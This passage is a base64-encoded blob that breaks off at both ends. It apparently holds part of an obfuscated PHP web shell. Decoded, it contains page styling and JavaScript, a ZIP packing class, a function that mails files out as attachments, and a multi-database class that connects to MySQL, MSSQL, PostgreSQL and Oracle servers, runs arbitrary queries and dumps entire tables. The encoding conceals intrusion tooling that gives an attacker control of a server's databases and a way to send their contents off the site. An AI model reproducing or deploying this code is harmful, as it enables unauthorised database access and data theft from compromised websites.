T0xMQkFSLUZBQ0UtQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiBXaGl0ZTsg U0NST0xMQkFSLVNIQURPVy1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiBXaGl0 ZTsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLVRSQUNLLUNPTE9SOiBXaGl0 ZTsgU0NST0xMQkFSLURBUktTSEFET1ctQ09MT1I6IFdoaXRlDQptYXJnaW46IDFweDsNCmNvbG9yOiBS ZWQ7DQpiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCn0NCi5tYWluIHsNCm1hcmdpbgkJCTogLTI4N3B4 IDBweCAwcHggLTQ5MHB4Ow0KYm9yZGVyCQkJOiBXaGl0ZSBzb2xpZCAxcHg7DQpCT1JERVItQ09MT1I6 ICM4M2M4MDk7DQp9DQoudHQgew0KYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7DQp9DQoNCkE6bGluayB7 DQoJQ09MT1I6ICMzNDcyMDI7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglD T0xPUjogIzM0NzIwMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCglDT0xPUjog V2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCUNPTE9SOiBXaGl0ZTsg VEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQo8L1NUWUxFPg0KPHNjcmlwdCBsYW5ndWFnZT1cJ2phdmFz Y3JpcHRcJz4NCmZ1bmN0aW9uIGhpZGVfZGl2KGlkKQ0Kew0KICBkb2N1bWVudC5nZXRFbGVtZW50QnlJ ZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnbm9uZVwnOw0KICBkb2N1bWVudC5jb29raWU9aWQrXCc9MDtc JzsNCn0NCmZ1bmN0aW9uIHNob3dfZGl2KGlkKQ0Kew0KICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChp ZCkuc3R5bGUuZGlzcGxheSA9IFwnYmxvY2tcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTE7XCc7 DQp9DQpmdW5jdGlvbiBjaGFuZ2VfZGl2c3QoaWQpDQp7DQogIGlmIChkb2N1bWVudC5nZXRFbGVtZW50 QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9PSBcJ25vbmVcJykNCiAgICBzaG93X2RpdihpZCk7DQogIGVs c2UNCiAgICBoaWRlX2RpdihpZCk7DQp9DQo8L3NjcmlwdD4nOw0KY2xhc3MgemlwZmlsZQ0Kew0KICAg IHZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsNCiAgICB2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5 KCk7DQogICAgdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4 MDAiOw0KICAgIHZhciAkb2xkX29mZnNldCAgID0gMDsNCiAgICBmdW5jdGlvbiB1bml4MkRvc1RpbWUo JHVuaXh0aW1lID0gMCkgew0KICAgICAgICAkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdl dGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsNCiAgICAgICAgaWYgKCR0aW1lYXJyYXlbJ3llYXIn XSA8IDE5ODApIHsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQogICAg ICAgICAgICAkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsn bWRheSddICAgID0gMTsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQogICAg ICAgICAgICAkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsn c2Vjb25kcyddID0gMDsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFy J10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlb J21kYXknXSA8PCAxNikgfA0KICAgICAgICAgICAgICAgICgkdGltZWFycmF5Wydob3VycyddIDw8IDEx KSB8ICgkdGltZWFycmF5WydtaW51dGVzJ10gPDwgNSkgfCAoJHRpbWVhcnJheVsnc2Vjb25kcyddID4+ IDEpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKQ0K ICAgIHsNCiAgICAgICAgJG5hbWUgICAgID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQog ICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7DQogICAg ICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10NCiAgICAgICAgICAgICAg ICAgIC4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQ0KICAgICAgICAgICAgICAgICAgLiAnXHgn IC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVb MF0gLiAkZHRpbWVbMV07DQogICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4g

JyI7Jyk7DQogICAgICAgICRmciAgID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KICAgICAgICAkZnIgICAu PSAiXHgxNFx4MDAiOw0KICAgICAgICAkZnIgICAuPSAiXHgwMFx4MDAiOw0KICAgICAgICAkZnIgICAu PSAiXHgwOFx4MDAiOw0KICAgICAgICAkZnIgICAuPSAkaGV4ZHRpbWU7DQogICAgICAgICR1bmNfbGVu ID0gc3RybGVuKCRkYXRhKTsNCiAgICAgICAgJGNyYyAgICAgPSBjcmMzMigkZGF0YSk7DQogICAgICAg ICR6ZGF0YSAgID0gZ3pjb21wcmVzcygkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gc3Vic3RyKHN1 YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOw0KICAgICAgICAkY19sZW4gICA9 IHN0cmxlbigkemRhdGEpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNyYyk7DQogICAg ICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNr KCdWJywgJHVuY19sZW4pOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1l KSk7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ3YnLCAwKTsNCiAgICAgICAgJGZyICAgICAgLj0g JG5hbWU7DQogICAgICAgICRmciAuPSAkemRhdGE7DQogICAgICAgICR0aGlzIC0+IGRhdGFzZWNbXSA9 ICRmcjsNCiAgICAgICAgJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KICAgICAgICAkY2RyZWMg Lj0gIlx4MDBceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDE0XHgwMCI7DQogICAgICAgICRjZHJl YyAuPSAiXHgwMFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsNCiAgICAgICAgJGNk cmVjIC49ICRoZXhkdGltZTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsNCiAgICAg ICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVics ICR1bmNfbGVuKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7DQog ICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndics IDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRjZHJlYyAuPSBw YWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7DQogICAgICAgICRj ZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KICAgICAgICAkdGhpcyAtPiBv bGRfb2Zmc2V0ICs9IHN0cmxlbigkZnIpOw0KICAgICAgICAkY2RyZWMgLj0gJG5hbWU7DQogICAgICAg ICR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGZpbGUoKQ0K ICAgIHsNCiAgICAgICAgJGRhdGEgICAgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBkYXRhc2VjKTsNCiAg ICAgICAgJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBjdHJsX2Rpcik7DQogICAgICAgIHJl dHVybg0KICAgICAgICAgICAgJGRhdGEgLg0KICAgICAgICAgICAgJGN0cmxkaXIgLg0KICAgICAgICAg ICAgJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4NCiAgICAgICAgICAgIHBhY2soJ3YnLCBzaXplb2YoJHRo aXMgLT4gY3RybF9kaXIpKSAuDQogICAgICAgICAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0 cmxfZGlyKSkgLg0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4NCiAgICAg ICAgICAgIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKSAuDQogICAgICAgICAgICAiXHgwMFx4MDAiOw0K ICAgIH0NCn0NCmZ1bmN0aW9uIGNvbXByZXNzKCYkZmlsZW5hbWUsJiRmaWxlZHVtcCwkY29tcHJlc3Mp DQogew0KICAgIGdsb2JhbCAkY29udGVudF9lbmNvZGluZzsNCiAgICBnbG9iYWwgJG1pbWVfdHlwZTsN CiAgICBpZiAoJGNvbXByZXNzID09ICdiemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdiemNvbXByZXNz JykpDQogICAgIHsNCiAgICAgICAgJGZpbGVuYW1lICAuPSAnLmJ6Mic7DQogICAgICAgICRtaW1lX3R5 cGUgPSAnYXBwbGljYXRpb24veC1iemlwMic7DQogICAgICAgICRmaWxlZHVtcCA9IGJ6Y29tcHJlc3Mo JGZpbGVkdW1wKTsNCiAgICAgfQ0KICAgICBlbHNlIGlmICgkY29tcHJlc3MgPT0gJ2d6aXAnICYmIEBm dW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpDQogICAgIHsNCiAgICAgICAgJGZpbGVuYW1lICAuPSAn Lmd6JzsNCiAgICAgICAgJGNvbnRlbnRfZW5jb2RpbmcgPSAneC1nemlwJzsNCiAgICAgICAgJG1pbWVf dHlwZSA9ICdhcHBsaWNhdGlvbi94LWd6aXAnOw0KICAgICAgICAkZmlsZWR1bXAgPSBnemVuY29kZSgk ZmlsZWR1bXApOw0KICAgICB9DQogICAgIGVsc2UgaWYgKCRjb21wcmVzcyA9PSAnemlwJyAmJiBAZnVu Y3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpDQogICAgIHsNCiAgICAgCSRmaWxlbmFtZSAuPSAnLnpp cCc7DQogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vemlwJzsNCiAgICAgICAgJHppcGZp bGUgPSBuZXcgemlwZmlsZSgpOw0KICAgICAgICAkemlwZmlsZSAtPiBhZGRGaWxlKCRmaWxlZHVtcCwg c3Vic3RyKCRmaWxlbmFtZSwgMCwgLTQpKTsNCiAgICAgICAgJGZpbGVkdW1wID0gJHppcGZpbGUgLT4g ZmlsZSgpOw0KICAgICB9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAJJG1pbWVfdHlwZSA9ICdhcHBs aWNhdGlvbi9vY3RldC1zdHJlYW0nOw0KICAgICB9DQogfQ0KZnVuY3Rpb24gbWFpbGF0dGFjaCgkdG8s JGZyb20sJHN1YmosJGF0dGFjaCkNCiB7DQogJGhlYWRlcnMgID0gIkZyb206ICRmcm9tXHJcbiI7DQog JGhlYWRlcnMgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7DQogJGhlYWRlcnMgLj0gIkNvbnRlbnQt VHlwZTogIi4kYXR0YWNoWyd0eXBlJ107DQogJGhlYWRlcnMgLj0gIjsgbmFtZT1cIiIuJGF0dGFjaFsn bmFtZSddLiJcIlxyXG4iOw0KICRoZWFkZXJzIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBi YXNlNjRcclxuXHJcbiI7DQogJGhlYWRlcnMgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkYXR0 YWNoWydjb250ZW50J10pKS4iXHJcbiI7DQogaWYoQG1haWwoJHRvLCRzdWJqLCIiLCRoZWFkZXJzKSkg eyByZXR1cm4gMTsgfQ0KIHJldHVybiAwOw0KIH0NCmNsYXNzIG15X3NxbA0KIHsNCiB2YXIgJGhvc3Qg PSAnbG9jYWxob3N0JzsNCiB2YXIgJHBvcnQgPSAnJzsNCiB2YXIgJHVzZXIgPSAnJzsNCiB2YXIgJHBh c3MgPSAnJzsNCiB2YXIgJGJhc2UgPSAnJzsNCiB2YXIgJGRiICAgPSAnJzsNCiB2YXIgJGNvbm5lY3Rp b247DQogdmFyICRyZXM7DQogdmFyICRlcnJvcjsNCiB2YXIgJHJvd3M7DQogdmFyICRjb2x1bW5zOw0K IHZhciAkbnVtX3Jvd3M7DQogdmFyICRudW1fZmllbGRzOw0KIHZhciAkZHVtcDsNCg0KIGZ1bmN0aW9u IGNvbm5lY3QoKQ0KICB7DQogIAlzd2l0Y2goJHRoaXMtPmRiKQ0KICAgICB7DQogIAkgY2FzZSAnTXlT UUwnOg0KICAJICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMzMwNic7IH0N CiAgCSAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgCSAg

JHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBv cnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOw0KICAJICBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29u bmVjdGlvbikpIHJldHVybiAxOw0KICAJIGJyZWFrOw0KICAgICBjYXNlICdNU1NRTCc6DQogICAgICBp ZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMTQzMyc7IH0NCiAgCSAgaWYoIWZ1 bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgCSAgJHRoaXMtPmNvbm5l Y3Rpb24gPSBAbXNzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nLCcuJHRoaXMtPnBvcnQsJHRoaXMtPnVz ZXIsJHRoaXMtPnBhc3MpOw0KICAgICAgaWYoJHRoaXMtPmNvbm5lY3Rpb24pIHJldHVybiAxOw0KICAg ICBicmVhazsNCiAgICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgICBpZihlbXB0eSgkdGhpcy0+cG9y dCkpIHsgJHRoaXMtPnBvcnQgPSAnNTQzMic7IH0NCiAgICAgICRzdHIgPSAiaG9zdD0nIi4kdGhpcy0+ aG9zdC4iJyBwb3J0PSciLiR0aGlzLT5wb3J0LiInIHVzZXI9JyIuJHRoaXMtPnVzZXIuIicgcGFzc3dv cmQ9JyIuJHRoaXMtPnBhc3MuIicgZGJuYW1lPSciLiR0aGlzLT5iYXNlLiInIjsNCiAgICAgIGlmKCFm dW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogICAgICAkdGhpcy0+Y29ubmVj dGlvbiA9IEBwZ19jb25uZWN0KCRzdHIpOw0KICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5l Y3Rpb24pKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ09yYWNsZSc6DQogICAgICBp ZighZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpKSByZXR1cm4gMDsNCiAgICAgICR0aGlzLT5jb25u ZWN0aW9uID0gQG9jaWxvZ29uKCR0aGlzLT51c2VyLCAkdGhpcy0+cGFzcywgJHRoaXMtPmJhc2UpOw0K ICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICAgYnJl YWs7DQogICAgIH0NCiAgICByZXR1cm4gMDsNCiAgfQ0KDQogZnVuY3Rpb24gc2VsZWN0X2RiKCkNCiAg ew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgaWYoQG15 c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAg IGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgCSBpZihAbXNzcWxfc2VsZWN0X2RiKCR0aGlzLT5i YXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9z dGdyZVNRTCc6DQogICAgIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQog ICAgIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOw0KICB9DQoNCiBmdW5j dGlvbiBxdWVyeSgkcXVlcnkpDQogIHsNCiAgICR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPScnOw0KICAg c3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogICAgIGlmKGZhbHNlPT09 KCR0aGlzLT5yZXM9QG15c3FsX3F1ZXJ5KCcvKicuY2hyKDApLicqLycuJHF1ZXJ5LCR0aGlzLT5jb25u ZWN0aW9uKSkpDQogICAgICB7DQogICAgICAkdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJyb3IoJHRoaXMt PmNvbm5lY3Rpb24pOw0KICAgICAgcmV0dXJuIDA7DQogICAgICB9DQogICAgIGVsc2UgaWYoaXNfcmVz b3VyY2UoJHRoaXMtPnJlcykpIHsgcmV0dXJuIDE7IH0NCiAgICAgcmV0dXJuIDI7DQogIAlicmVhazsN CiAgICBjYXNlICdNU1NRTCc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5 KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0g J1F1ZXJ5IGVycm9yJzsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAbXNz cWxfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0K ICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+ cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0 aGlzLT5lcnJvciA9IEBwZ19sYXN0X2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICAgIHJldHVy biAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7 IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6 DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCRx dWVyeSkpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IHBhcnNlIGVycm9yJzsN CiAgICAgIH0NCiAgICAgZWxzZQ0KICAgICAgew0KICAgICAgaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJl cykpDQogICAgICAgew0KICAgICAgIGlmKEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKSAhPSAwKSByZXR1 cm4gMjsNCiAgICAgICByZXR1cm4gMTsNCiAgICAgICB9DQogICAgICAkZXJyb3IgPSBAb2NpZXJyb3Io KTsNCiAgICAgICR0aGlzLT5lcnJvcj0kZXJyb3JbJ21lc3NhZ2UnXTsNCiAgICAgIH0NCiAgICBicmVh azsNCiAgICB9DQogIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpDQogIHsNCiAg ICR0aGlzLT5yb3dzPWFycmF5KCk7DQogICAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOw0KICAgJHRoaXMt Pm51bV9yb3dzPSR0aGlzLT5udW1fZmllbGRzPTA7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsN CiAgCWNhc2UgJ015U1FMJzoNCiAgCSAkdGhpcy0+bnVtX3Jvd3M9QG15c3FsX251bV9yb3dzKCR0aGlz LT5yZXMpOw0KICAJICR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMp Ow0KICAJIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBteXNxbF9mZXRjaF9hc3NvYygk dGhpcy0+cmVzKSkpOw0KICAJIEBteXNxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgCSBpZigk dGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0p OyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAJICR0aGlzLT5udW1f cm93cz1AbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogIAkgJHRoaXMtPm51bV9maWVsZHM9QG1z c3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7DQogIAkgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93 c1tdID0gQG1zc3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogIAkgQG1zc3FsX2ZyZWVfcmVz dWx0KCR0aGlzLT5yZXMpOw0KICAJIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBA YXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO307DQogICAgYnJlYWs7DQogICAgY2Fz ZSAnUG9zdGdyZVNRTCc6DQogIAkgJHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhpcy0+cmVz

KTsNCiAgCSAkdGhpcy0+bnVtX2ZpZWxkcz1AcGdfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsNCiAgCSB3 aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAcGdfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykp KTsNCiAgCSBAcGdfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQogIAkgaWYoJHRoaXMtPm51bV9yb3dz KXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0K ICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgICR0aGlzLT5udW1fZmllbGRzPUBvY2lu dW1jb2xzKCR0aGlzLT5yZXMpOw0KICAgICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBA b2NpX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSkgJHRoaXMtPm51bV9yb3dzKys7DQogICAgIEBvY2lm cmVlc3RhdGVtZW50KCR0aGlzLT5yZXMpOw0KICAgICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5j b2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7 DQogICAgfQ0KICAgcmV0dXJuIDA7DQogIH0NCiBmdW5jdGlvbiBkdW1wKCR0YWJsZSkNCiAgew0KICAg aWYoZW1wdHkoJHRhYmxlKSkgcmV0dXJuIDA7DQogICAkdGhpcy0+ZHVtcD1hcnJheSgpOw0KICAgJHRo aXMtPmR1bXBbMF0gPSAnIyMnOw0KICAgJHRoaXMtPmR1bXBbMV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7DQogICAkdGhpcy0+ZHVtcFsyXSA9ICcjIyAgQ3JlYXRl ZDogJy5kYXRlICgiZC9tL1kgSDppOnMiKTsNCiAgICR0aGlzLT5kdW1wWzNdID0gJyMjIERhdGFiYXNl OiAnLiR0aGlzLT5iYXNlOw0KICAgJHRoaXMtPmR1bXBbNF0gPSAnIyMgICAgVGFibGU6ICcuJHRhYmxl Ow0KICAgJHRoaXMtPmR1bXBbNV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tICc7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgCWNhc2UgJ015U1FMJzoNCiAg CSAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTCBkdW1wJzsNCiAgCSBpZigkdGhpcy0+cXVlcnkoJy8q Jy5jaHIoMCkuJyovIFNIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsN CiAgCSBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogIAkgJHRoaXMtPmR1bXBbXSA9 ICR0aGlzLT5yb3dzWzBdWydDcmVhdGUgVGFibGUnXTsNCiAgICAgJHRoaXMtPmR1bXBbXSA9ICcjIyAt LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgCSBpZigkdGhpcy0+cXVl cnkoJy8qJy5jaHIoMCkuJyovIFNFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAw Ow0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwk dGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0g YXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmco JHYpO30NCiAgCSAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKGAnLkBp bXBsb2RlKCJgLCBgIiwgJHRoaXMtPmNvbHVtbnMpLidgKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywg JyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOw0KICAJICB9DQogICAgYnJlYWs7DQogICAgY2FzZSAn TVNTUUwnOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNU1NRTCBkdW1wJzsNCiAgICAgaWYoJHRo aXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7DQogIAkgaWYoISR0 aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAJIGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93 czskaSsrKQ0KICAJICB7DQogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHsk dGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAgCSAgJHRoaXMtPmR1bXBbXSA9 ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4n KSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOw0KICAJ ICB9DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgICR0aGlzLT5kdW1wWzBd ID0gJyMjIFBvc3RncmVTUUwgZHVtcCc7DQogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJP TSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1 cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAg Zm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBh 